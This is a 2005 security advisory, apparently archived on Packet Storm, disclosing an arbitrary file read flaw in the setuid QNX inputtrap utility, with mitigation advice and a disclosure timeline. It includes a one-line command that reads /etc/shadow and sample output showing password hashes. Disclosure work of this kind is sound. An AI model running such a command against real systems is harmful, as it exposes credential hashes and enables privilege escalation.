evolve or die

qnx-inputtrap.txt

qnx-inputtrap.txt
Posted Aug 25, 2005
Authored by Julio Cesar Fort

QNX inputtrap from QNX RTOS versions 6.3 and 6.1.0 suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary
MD5 | 6485b7c7501a5b7eee39fd1c2b6d013c

qnx-inputtrap.txt

Change Mirror Download
                *** rfdslabs security advisory ***

Title: QNX inputtrap arbitrary file read vulnerability [RLSA_01-2005]
Versions: QNX RTOS 6.3, 6.1.0 (possibly others)
Vendor: http://www.qnx.com
Date: Feb 22 2005

Author: Julio Cesar Fort <julio *NO_SPAM* rfdslabs com br>

1. Introduction

inputtrap is a utility designed to detect and start input manager in QNX.

2. Details

inputtrap has a '-t' flag to specify the trap file to be read. Due to impro-
per permissions checking, we have administrative access to read files anywhere
in the disk in addition with 'start' flag.

The following simple command will show us /etc/shadow:

$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

PS: This "design error" problem is similar to an old Debian 1.1 DOSEmu vulnera-
bility, back in 1999. And it was, surely, erradicated in crucial programs
of most operating systems.

3. Solution

No official solution yet. We suggest remove inputtrap suid bit or change its
permissions to a trusted group of users until QNX doesn't release an official
patch.

4. Timeline

22 Feb 2005: Vulnerability detected (in a very very boring day, ill at home);
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.

Thanks to Lucien Rocha, Carlos Barros (barrossecurity.com), George Fleury,
Rodrigo Costa (NERV), Despise, gotfault.org and everyone at rfdslabs.

www.rfdslabs.com.br - computers, sex, human mind, music and more
Recife, PE, Brazil

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close